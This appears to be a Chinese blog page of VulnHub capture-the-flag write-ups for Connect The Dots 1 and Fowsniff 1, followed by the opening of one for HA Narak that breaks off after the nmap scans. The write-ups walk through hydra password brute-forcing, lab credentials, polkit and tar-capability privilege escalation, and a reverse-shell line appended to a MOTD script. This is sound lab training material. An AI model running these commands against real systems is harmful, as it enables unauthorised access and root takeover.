Owen_W Blog

Vulnhub Connect The Dots 1 WriteUp

Wed, 01 Jul 2026 00:00:00 GMT

前言

靶场介绍

非常考验你的知识面的机器，涉及 JSFuck、NFS、FTP 多文件读取、getcap 获取文件能力、polkit、文件图片隐写、莫尔斯码和断电隐患文件恢复等知识。

靶场信息

字段	值
靶机名	Connect The Dots: 1
靶机 IP	192.168.200.130 - 132
靶机 URL	https://www.vulnhub.com/entry/connect-the-dots-1,384/
下载（镜像）	https://download.vulnhub.com/connectthedots/Connect-The-Dots.ova

打靶过程中 VM 出了点问题，导致 IP 被重新分配，最终提权时候的 IP 为 192.168.200.132。

涉及工具

nmap
gobuster
showmount
hydra

思维导图

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

$ nmap -sT --min-rate 10000 -p- 192.168.200.130 -oA nmap/ports

开放端口：21, 80, 111, 2049, 7822, 34217, 34707, 38399, 42211

详细信息

$ nmap -sT -sV -sC -O -p21,80,111,2049,7822,34217,34707,38399,42211 192.168.200.130 -oA detail

重点：21、80、2049、7822（是 ssh 的端口）

UDP 扫描

$ nmap -sU --top-port 20 192.168.200.131 -oA udp
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-08 07:44 -0400
Nmap scan report for 192.168.200.131
Host is up (0.00035s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   closed        ntp
135/udp   open|filtered msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   closed        syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:6B:60:74 (VMware)

漏洞扫描

$ nmap --script=vuln -p21,80,111,2049,7822 192.168.200.130 -oA nmap/vuln

1.2 FTP 探测

anonymous 默认匿名用户无法登入。

1.3 NFS

$ showmount -e 192.168.200.130

探测到一个共享目录 /home/morris，将其挂载到本地。

$ sudo mount -t nfs 192.168.200.130:/home/morris /mnt/nfs

检查挂载：

$ ls -liah

这是一个用户的家目录，没有上传文件的权限，我觉得可以用系统中 .ssh 目录下的公私钥尝试能不能通过无密码登入。

这个 nfs 共享也没有下载的权限，不过我可以通过 cat 来把公私钥内容转存到本地。

补充一点：在公钥中可以看到所属的用户是谁。

1.4 Web 探测

目录枚举

$ gobuster dir -u http://192.168.200.130 -w <wordlist>

hits.txt 内容：

Remember! Keep your enumeration game strong!

/mysite 是一个做了一半的静态站点，有 html、css、js 文件。打开 html 文件是一个纯静态的登入界面，不过在 /mysite 列出的文件中，发现了一个比较有意思的点，有一个文件名的后缀是 .cs。不知道是不是开发者搞错了，还是留下的特殊文件。

http://192.168.200.132/mysite/register.html

最终在 http://192.168.200.132/mysite/bootstrap.min.cs 的文件中发现了作者留下的立足点。

2. 权限立足

2.1 解密

bootstrap.min.cs 内容片段：

var a = "Loading..."
var b1 = "[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+"

上网搜索后发现这个加密叫做 jsfuck，一种恶搞风格的加密方式。

在线解密：https://jsfuck.com/

解密结果：

You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19

你很聪明，能够理解我。这是你的秘密，……

我猜测后面跟着的很有可能是密码或者是目录？不管了，我觉得先尝试一下是不是 ssh 的登入凭证。

结合密码的细节我构造出了这两套字典：

# users.txt
root
Norris
norris
morris
Morris

# pass.txt
Norris@2k19
@2k19
2k19
TryToGuessThisNorris@2k19

开始枚举：

$ hydra -L users.txt -P pass.txt ssh://192.168.200.131:7822

[7822][ssh] host: 192.168.200.131   login: norris   password: TryToGuessThisNorris@2k19

$ ssh norris@192.168.200.132 -p 7822

3. 提权

3.1 信息收集（norris 用户）

确认当前用户身份：

norris@sirrom:~$ uname -a
Linux sirrom 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux
norris@sirrom:~$ id
uid=1001(norris) gid=1001(norris) groups=1001(norris),27(sudo)   # <-- norris 在 sudo 组
norris@sirrom:~$ whoami
norris
norris@sirrom:~$ pwd
/home/norris
norris@sirrom:~$ ls
ftp  user.txt
norris@sirrom:~$ cat user.txt
2c2836a138c0e7f7529aa0764a6414d0

计划任务

norris@sirrom:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

/etc/cron.d/anacron 也查了，没有可利用项。

SUID 文件

norris@sirrom:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/bwrap
/usr/bin/mount
/usr/bin/su
/usr/bin/pkexec
/usr/bin/ntfs-3g
/usr/bin/chsh
/usr/bin/sudo
norris@sirrom:~$

可写文件

norris@sirrom:~$ find / -writeable -type f 2>/dev/null |grep -v '/proc/*'
norris@sirrom:~$ find / -writable -type f ! -path '/proc/*' 2>/dev/null
/home/norris/.bashrc
/home/norris/.bash_logout
/home/norris/.profile
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
# ... （其余均为 /sys/fs/cgroup/ 下的系统文件，无可利用项）

以 norris 身份排查四项均无直接利用路径。觉得探索其他方向。

家目录

norris@sirrom:~$ ls -liah
total 40K
131091 drwxr-xr-x 5 norris norris  4.0K Jun  8 17:45 .
131316 drwxr-xr-x 4 root   root    4.0K Oct 11  2019 ..
179021 -r-------- 1 norris norris     1 Oct 11  2019 .bash_history
134190 -rw-r--r-- 1 norris norris   220 Oct 11  2019 .bash_logout
131124 -rw-r--r-- 1 norris norris  3.5K Oct 11  2019 .bashrc
131105 dr-xr-xr-x 3 nobody nogroup 4.0K Oct 11  2019 ftp
180338 drwx------ 3 norris norris  4.0K Jun  8 17:45 .gnupg
179294 drwxr-xr-x 3 norris norris  4.0K Oct 11  2019 .local
174902 -rw-r--r-- 1 norris norris   807 Oct 11  2019 .profile
179300 -r-------- 1 norris norris    33 Oct 11  2019 user.txt

norris@sirrom:~$ cat user.txt 
2c2836a138c0e7f7529aa0764a6414d0

进入 ftp 目录查看：

norris@sirrom:~$ cd ftp/
norris@sirrom:~/ftp$ ls -liah
total 12K
131105 dr-xr-xr-x 3 nobody nogroup 4.0K Oct 11  2019 .
131091 drwxr-xr-x 5 norris norris  4.0K Jun  8 17:45 ..
179189 drwxr-xr-x 2 norris norris  4.0K Oct 11  2019 files
norris@sirrom:~/ftp$ cd files/
norris@sirrom:~/ftp/files$ ls -liah
total 972K
179189 drwxr-xr-x 2 norris norris  4.0K Oct 11  2019 .
131105 dr-xr-xr-x 3 nobody nogroup 4.0K Oct 11  2019 ..
179199 -r-------- 1 norris norris  6.2K Oct 11  2019 backups.bak
179297 -r-------- 1 norris norris   39K Oct 11  2019 game.jpg.bak
179310 -r-------- 1 norris norris    29 Oct 11  2019 hits.txt.bak
179311 -r-------- 1 norris norris  911K Oct 11  2019 m.gif.bak
norris@sirrom:~/ftp/files$

直接 cat 查看会乱码，由于之前 nmap 扫描中发现了 FTP 端口，决定用 FTP 客户端将文件下载下来后再用二进制工具分析。

用 norris 的凭证登入 FTP，果然可以列出和下载文件。

将文件下载下来使用 strings 分析，在 game.jpg.bak 这个文件中藏有一段摩斯密码。

decode

HEY?NORRIS,?YOU'VE?MADE?THIS?FAR.?FAR?FAR?FROM?HEAVEN?WANNA?SEE?HELL?NOW??HAHA?YOU?SURELY?MISSED?ME,?DIDN'T?YOU??OH?DAMN?MY?BATTERY?IS?ABOUT?TO?DIE?AND?I?AM?UNABLE?TO?FIND?MY?CHARGER?SO?QUICKLY?LEAVING?A?HINT?IN?HERE?BEFORE?THIS?SYSTEM?SHUTS?DOWN?AUTOMATICALLY.?I?AM?SAVING?THE?GATEWAY?TO?MY?DUNGEON?IN?A?'SECRETFILE'?WHICH?IS?PUBLICLY?ACCESSIBLE.

他说把凭证藏在某个名为 SECRETFILE 的公开文件里，接下来需要继续对靶机文件进行探测。除了家目录以外，Web 目录也是重点方向。（其实这里可以直接用 find 去找这个文件）

在 Web 目录下发现了两个可疑文件：

312922 -rw-r--r-- 1 www-data www-data   99 Oct 11  2019 secretfile
312917 -rw------- 1 www-data www-data  12K Oct 11  2019 .secretfile.swp

通过 wget 将两个文件下载下来。

SWP 文件 是一种临时缓存文件，主要用于在编辑器（如 Vim）中紧急保护未保存的工作内容。当系统或编辑器发生崩溃、意外退出时，可以通过 SWP 文件恢复未保存的数据，避免数据丢失。

vim -r .secretfile.swp

恢复后保存退出（:w → :q!），得到其中记录的密码。

3.2 切换至 morris 用户

通过前面从 FTP 和 .secretfile.swp 中提取到的密码 blehguessme090，尝试切换到机器上的两个用户，root 不成功，切换到 morris 成功。

morris@sirrom:~$

SUID 文件（morris 用户）

morris@sirrom:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/bwrap
/usr/bin/mount
/usr/bin/su
/usr/bin/pkexec
/usr/bin/ntfs-3g
/usr/bin/chsh
/usr/bin/sudo

可写文件（morris 用户）

morris@sirrom:~$ find / -writable -type f ! -path '/proc/*' 2>/dev/null
/home/morris/.bashrc
/home/morris/.bash_history
/home/morris/.profile
/home/morris/.ssh/id_rsa
/home/morris/.ssh/id_rsa.pub
# ... （其余为 .config/.cache/.local 下的用户数据文件）

3.3 提权利用

注意到 SUID 列表中有 polkit，尝试 policykit 相关提权路线。

norris@sirrom:~/etc$ systemd-run -t /bin/bash

利用 pkexec 的 SUID 权限结合 systemd-run 完成提权，可进一步了解 policykit 相关利用方式。

4. 总结

上个打过的靶机有这么多图片，一个个看隐写，结果发现不是隐写方向，到这台靶机，隐写又起了作用，看来不能掉以轻心啊。

5. 补充

5.1 Linux Capabilities

在信息收集时可以使用 getcap 去查看当前系统上所有具有 Linux Capabilities 的可执行文件

norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep

从输出的命令上可以看出 /usr/bin/tar = cap_dac_read_search+ep 就拥有读取系统所有文件的权限，那就可以直接看 root.txt 和 shadow 文件进行爆破

/sbin/getcap -r / 2>/dev/null

tar -zcvf root.tar.gz /root
tar -zxvf root.tar.gz
cd root
cat root.txt

5.2 polkit 提权详解

systemd-run 如何调用 polkit，最终把权限给 bash

整体流程

norris 执行 systemd-run
    → systemd (root) 收到请求
    → 向 polkit 询问：norris 有没有资格管理 units？
    → polkit 认证通过
    → systemd 以 root 身份 fork 出 /bin/bash
    → 把 TTY 接回给 norris

第一步：谁在真正运行服务？

systemd 本身以 root 运行（PID 1）。systemd-run 本质是通过 D-Bus 向 systemd 发送一条消息："帮我起一个临时 unit，运行 /bin/bash"。

注意：systemd-run 自己没有 SUID，它只是一个普通的客户端工具，发消息给 systemd daemon。

第二步：polkit 在哪里介入？

systemd 收到这个 D-Bus 请求后，不能直接执行——因为请求方是普通用户 norris。systemd 会去问 polkit：

"norris 有没有权限执行 org.freedesktop.systemd1.manage-units 这个操作？"

polkit 弹出密码框，norris 输入自己的密码验证身份，polkit 回答"允许"。

第三步：权限怎么给到 bash？

polkit 认证通过后，systemd（root进程）直接 fork + exec /bin/bash。这个 bash 是 root 的子进程，默认继承 root 权限。

-t 参数的作用：把这个 bash 的 stdin/stdout/stderr 接回到你的终端，你就能交互操作它。

6. 参考链接

https://github.blog/security/vulnerability-research/privilege-escalation-polkit-root-on-linux-with-bug/

Vulnhub Fowsniff 1 WriteUp

Wed, 01 Jul 2026 00:00:00 GMT

前言

靶场介绍

Fowsniff: 1 是一台以"社工 + 邮件服务渗透"为主线的中等难度 CTF 靶机。剧情背景是 Fowsniff Corp 遭遇数据泄露，员工密码被公开发布在 GitHub 上，攻击者需要利用这批泄露凭据，通过 POP3 邮件服务获取 SSH 临时密码，最终借助 MOTD 机制中的组可写脚本完成提权。

涉及知识点：

公开数据泄露追踪（OSINT / 社工）
Hash 破解（John the Ripper，Raw-MD5）
POP3 邮件协议手动交互
Hydra 多服务爆破（POP3 / SSH）
Linux 组权限分析
MOTD（/etc/update-motd.d/）提权机制

靶场信息

字段	值
靶机名	Fowsniff: 1
靶机 IP	192.168.200.166
靶机 URL	https://www.vulnhub.com/entry/fowsniff-1,262/
下载（镜像）	https://download.vulnhub.com/fowsniff/Fowsniff_CTF_ova.7z

涉及工具

nmap
dirsearch
john
hydra
telnet

思维导图

靶机环境配置

靶机无法正常获取 IP，参考以下教程进行修改：

How To Solve Vulnhub VM Network Interface IP Issues

1.信息收集

1.1 Nmap 信息扫描

端口扫描

nmap -sT --min-rate 10000 -p- 192.168.200.166 -oA ports

开放端口：22, 80, 110, 143

详细信息

nmap -sT -sV -sC -O -p22,80,110,143 192.168.200.166 -oA details

漏洞扫描

# Nmap 7.95 scan initiated Sun May 31 08:52:32 2026 as: /usr/lib/nmap/nmap --privileged --script=vuln -p22,80,110,143 -oA vuln 192.168.200.166
Nmap scan report for 192.168.200.166 (192.168.200.166)
Host is up (0.00022s latency).

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
| http-enum: 
|   /robots.txt: Robots file
|   /README.txt: Interesting, a readme.
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/ie/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/ie/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/ie/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/ie/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=D%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|_    http://192.168.200.166:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
110/tcp open  pop3
143/tcp open  imap
MAC Address: 00:0C:29:63:9B:24 (VMware)

# Nmap done at Sun May 31 08:57:53 2026 -- 1 IP address (1 host up) scanned in 321.21 seconds

漏洞扫描结果中 HTTP 段的 SQL Injection 条目均为 dirsearch 爬取路径触发的误报，可忽略。真正有价值的信息是 http-enum 枚举出的几个可访问路径，以及开放的 POP3（110）和 IMAP（143）邮件服务端口。

1.2 Web 探测

访问靶机首页 http://192.168.200.166/：

页面内容明确提示了两个关键信息：

Fowsniff 的内部系统遭遇数据泄露，员工用户名和密码已外泄。
官方推特账号 @fowsniffcorp 已被劫持。

就一个 html 页面，页面源码没有其他内容。

目录扫描

dirsearch -u "http://192.168.200.166/" -oA dirs.txt

[08:57:48] 301 -  319B  - /assets  ->  http://192.168.200.166/assets/
[08:57:48] 200 -  473B  - /assets/
[08:57:54] 301 -  319B  - /images  ->  http://192.168.200.166/images/
[08:57:54] 200 -  509B  - /images/
[08:57:55] 200 -    6KB - /LICENSE.txt
[08:58:01] 200 -  774B  - /README.txt
[08:58:01] 200 -   26B  - /robots.txt
[08:58:02] 200 -  228B  - /security.txt

逐个访问扫描到的可用路径：

http://192.168.200.166/robots.txt

http://192.168.200.166/README.txt — 内容是网站模板版权信息，无有效内容。

Escape Velocity by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)

.....

http://192.168.200.166/assets/ — 网站的附件目录，有效内容很少，排查优先级不高。

http://192.168.200.166/security.txt

这个 security.txt 应该是黑客留下的文件，配合首页提到的推特被劫持，指向性很明确：去推特 @FowsniffCorp 上找泄露数据。

1.3 POP3 探测

结合扫描结果和 Web 信息，现在有两个探测方向：SSH（22）和 POP3 邮件服务（110）。

先确认 POP3 服务需要认证：

telnet 192.168.200.166 110

1.4 OSINT：追踪泄露密码

前面提示到存在员工用户的密码泄露。在这个靶机的首页泄露了说官方的推特账号被劫持了，于是我就去推特上搜了这个账号的内容。然后，第一条链接有一个人放了一个 GitHub 仓库，里面就是相关密码，我也不知道这种方法对不对啊，很神奇，这算社工的一种吗。后续我在推特上找到了这个官方的账号，不过源密码网站好像不能访问了，不过还好有人在github上fock下来了。

2.权限立足

2.1 Hydra 爆破 POP3 / SSH

用提取好的用户名和密码列表，对两个服务同步爆破：

hydra -L username.txt -P password.txt pop3://192.168.200.166 -t 16 -V
hydra -L username.txt -P password.txt ssh://192.168.200.166 -t 4 -V

POP3 爆破命中：

[110][pop3] host: 192.168.200.166   login: seina   password: scoobydoo2

SSH 爆破此阶段未命中成功。

2.2 POP3 读取邮件

用 seina / scoobydoo2 登录 POP3，手动拉取邮件：

POP3 常用命令：

LIST：获取邮件列表
RETR <n>：下载第 n 封邮件

参考：https://www.runoob.com/np/pop3-protocol.html

第 1 封邮件（stone → 全体员工）：

From: stone@fowsniff (stone)

Dear All,

A few days ago, a malicious actor was able to gain entry to
our internal email systems. The attacker was able to exploit
incorrectly filtered escape characters within our SQL database
to access our login credentials. Both the SQL and authentication
system used legacy methods that had not been updated in some time.

We have been instructed to perform a complete internal system
overhaul. While the main systems are "in the shop," we have
moved to this isolated, temporary server that has minimal
functionality.

This server is capable of sending and receiving emails, but only
locally. That means you can only send emails to other users, not
to the world wide web. You can, however, access this system via 
the SSH protocol.

The temporary password for SSH is "S1ck3nBluff+secureshell"

You MUST change this password as soon as possible, and you will do so under my
guidance. I saw the leak the attacker posted online, and I must say that your
passwords were not very secure.

Come see me in my office at your earliest convenience and we'll set it up.

Thanks,
A.J Stone

第 2 封邮件（baksteen → seina）：

From: baksteen@fowsniff

Devin,

You should have seen the brass lay into AJ today!
We are going to be talking about this one for a looooong time hahaha.
Who knew the regional manager had been in the navy? She was swearing like a sailor!

I don't know what kind of pneumonia or something you brought back with
you from your camping trip, but I think I'm coming down with it myself.
How long have you been gone - a week?
Next time you're going to get sick and miss the managerial blowout of the century,
at least keep it to yourself!

I'm going to head home early and eat some chicken soup. 
I think I just got an email from Stone, too, but it's probably just some
"Let me explain the tone of my meeting with management" face-saving mail.
I'll read it when I get back.

Feel better,

Skyler

PS: Make sure you change your email password. 
AJ had been telling us to do that right before Captain Profanity showed up.

第二封邮件侧面说明 baksteen 还没看 stone 的邮件，也就是可能还没改 SSH 密码。

The temporary password for SSH is "S1ck3nBluff+secureshell"

2.3 SSH 登录

用 SSH 临时密码对全部用户名再次爆破：

hydra -L username.txt -p S1ck3nBluff+secureshell ssh://192.168.200.166 -t 16 -V

SSH 爆破结果：

[22][ssh] host: 192.168.200.166   login: baksteen   password: S1ck3nBluff+secureshell

baksteen 没改密码，成功登录：

ssh baksteen@192.168.200.166

3.提权

3.1 信息收集

sudo 权限

baksteen@fowsniff:~$ sudo -l
[sudo] password for baksteen:
Sorry, user baksteen may not run sudo on fowsniff.

计划任务

baksteen@fowsniff:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

crontab 均为标准系统任务，无可利用项。

SUID 文件

baksteen@fowsniff:~$ find / -perm -u=s -type f 2>/dev/null

常规 SUID 二进制文件，无异常可利用项。

以上常规路径均未找到突破口。转向组权限方向排查。

3.2 组权限分析

查看当前用户所属组：

baksteen@fowsniff:~$ id
uid=1004(baksteen) gid=100(users) groups=100(users),1001(baksteen)

baksteen 属于 users 组（该组下存在多名用户），查找该组可写文件：

baksteen@fowsniff:~$ find / -group users -type f 2>/dev/null

我觉得这个文件很可疑，还是一个脚本，/opt/cube/cube.sh。

3.3 提权：写入反弹 Shell

通过查找 users 组的文件，找到了 /opt/cube/cube.sh。这个 sh 脚本里面写的是打印一个图片在终端上，而 ssh 登入时候显示的图标就是这个。最终的提权方法是，往里面插入反弹 shell，再次通过 ssh 重连用户，这里反弹的 shell 就是 root。

向 cube.sh 追加反弹 shell：

echo 'bash -i >& /dev/tcp/192.168.129/4444 0>&1' >> /opt/cube/cube.sh

在攻击机开启监听，然后重新 SSH 登录 baksteen，触发 MOTD 执行（MOTD原理请看补充部分）。

Kali 反弹接收成功，获得 Root Shell。

查看 /root 下的 flag。

4.总结

本机的整体渗透路径比较有意思，核心在两个地方：

一是信息收集阶段的"社工"环节。Web 首页的剧情提示 → 推特被劫持 → 外部泄露 → GitHub 公开 hash，这条线要自己主动去追，不算常规扫描能直接给出的信息，算是一种 OSINT 思维的考察。

二是提权的 MOTD 机制，不依赖内核漏洞或 SUID，仅凭一个"root 每次登录都会执行、对 users 组可写的 shell 脚本"完成提权，逻辑链很简洁。

凭据汇总：

用户	密码	用途
seina	scoobydoo2	POP3 登录
baksteen	S1ck3nBluff+secureshell	SSH 登录（临时密码）

5.补充

提权原理：MOTD 机制 + 组可写文件

Q: Linux 权限问题，有一个组 users，如果有一个文件 gid=users 但 uid 不是我操作的这个用户，他可以操作这个文件吗？

可以，只要该文件的组权限位允许对应操作即可。

具体来说，Linux 判断权限时按以下顺序走：

uid 匹配？→ 用 owner 权限位
    ↓ 否
gid 匹配？→ 用 group 权限位
    ↓ 否
         → 用 other 权限位

所以你的情况：uid 不匹配 → 检查 gid → 你在 users 组，文件 gid=users → 用 group 权限位。

举例：

-rw-rw-r-- 1 alice users 1234 file.txt
              ^^^
              owner: rw  (alice 才有)
                 ^^^
                 group: rw  ← 你（users 组成员）走这里
                    ^^^
                    other: r

你不是 alice，但在 users 组，所以有 rw 权限，可以读写。

验证自己的组成员资格：

id       # 看当前用户所在的所有组
groups   # 同上，更简洁

查看文件权限：

ls -l file.txt
stat file.txt   # 更详细，显示数字权限和 uid/gid

一个要注意的边缘情况：uid 匹配时，group 权限不再参与判断。比如文件是 ----rwxr--，owner 反而什么都做不了，因为一旦 uid 命中就只看 owner 位，不会再 fallback 到 group。

第一层：`/etc/update-motd.d/` 是什么？

Linux 的 /etc/update-motd.d/ 目录中存放的脚本，会在每次用户通过 SSH 登录时由 root 自动执行，用来动态生成 MOTD（Message of the Day，即每日提示信息）。

也就是说，这个目录下的脚本天然就是以 root 权限运行的。

第二层：`00-header` 调用了 `cube.sh`

检查 MOTD 脚本后可以确认，/etc/update-motd.d/00-header 文件中有一行代码调用了 /opt/cube/cube.sh。

root@fowsniff:/root# ls -l /etc/update-motd.d/
total 16
-rwxr-xr-x 1 root root 1248 Mar 11  2018 00-header
-rwxr-xr-x 1 root root 1473 Mar  9  2018 10-help-text
-rwxr-xr-x 1 root root  299 Jul 22  2016 91-release-upgrade
-rwxr-xr-x 1 root root  604 Nov  5  2017 99-esm

root@fowsniff:/root# cat /etc/update-motd.d/00-header
#!/bin/sh
# ...（版权注释省略）

sh /opt/cube/cube.sh   # <-- 调用点

调用链：

SSH 登录
  → root 执行 /etc/update-motd.d/00-header
    → 00-header 内部调用 /opt/cube/cube.sh
      → cube.sh 中的代码以 root 身份运行

第三层：`cube.sh` 对 `users` 组可写

当前用户属于 users 组，而 cube.sh 文件对该组有写入权限。这意味着你可以直接修改这个文件，但执行它的人是 root。

完整攻击链总结

步骤	说明
`cube.sh` 归属 `users` 组且可写	低权限用户可以修改它
`00-header` 会调用 `cube.sh`	root 级别的 MOTD 脚本主动引用了它
SSH 登录触发 MOTD	每次登录都会以 root 执行整个调用链
写入反弹 shell	下次 SSH 登录时 root 替你执行了那段代码

这个提权方式的精妙之处在于它极其简洁——不需要内核漏洞、没有 SUID 二进制文件、也没有 sudo 配置错误，仅仅是一个root 每次登录都会执行的、可写的 shell 脚本。

一个重要细节

注意 /etc/update-motd.d/ 下这些文件的权限都是 -rwxr-xr-x，属主是 root，本身不可被普通用户修改。这就是为什么提权不是直接改这里，而是去改它所调用的 cube.sh——那个文件才对 users 组开放了写权限，这是靶机设计者埋下的故意配置错误。

6.参考资料

https://medium.com/@0xH1S/fowsniff-ctf-writeup-tryhackme-f03b8f1f4b41
https://www.runoob.com/np/pop3-protocol.html
https://medium.com/@primeradsec/how-to-solve-vulnhub-vm-network-interface-ip-issues-79ff55b7573c

Vulnhub HA Narak WriteUp

Wed, 01 Jul 2026 00:00:00 GMT

前言

靶场介绍

HA: NARAK 是一台以印度神话为主题的 VulnHub 靶机，难度适中，涵盖以下知识点：

Nmap 信息收集与漏洞扫描
TFTP 枚举与文件下载
WebDAV 认证与 PUT 方法上传 Webshell
Base64 解码获取凭据
目录扫描（dirsearch / gobuster）
Brainfuck 编码解密
可写文件提权（/mnt/hell.sh + motd）

靶场信息

字段	值
靶机名	HA: Narak
靶机 IP	192.168.200.128
靶机 URL	https://www.vulnhub.com/entry/ha-narak,569/
下载（镜像）	https://download.vulnhub.com/ha/narak.ova

思维导图

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

主机探测完成后进行端口扫描，共发现两个有效端口。

nmap -sT -p- --min-rate 10000 192.168.200.128 -oA ports

详细信息

nmap -sT -sC -sV -O -p22,80 192.168.200.128 -oA detials

漏洞扫描

漏洞扫描耗时较长，可以与后续的探测同步进行。

nmap --script=vuln -p22,80 192.168.200.128 -oA vuln

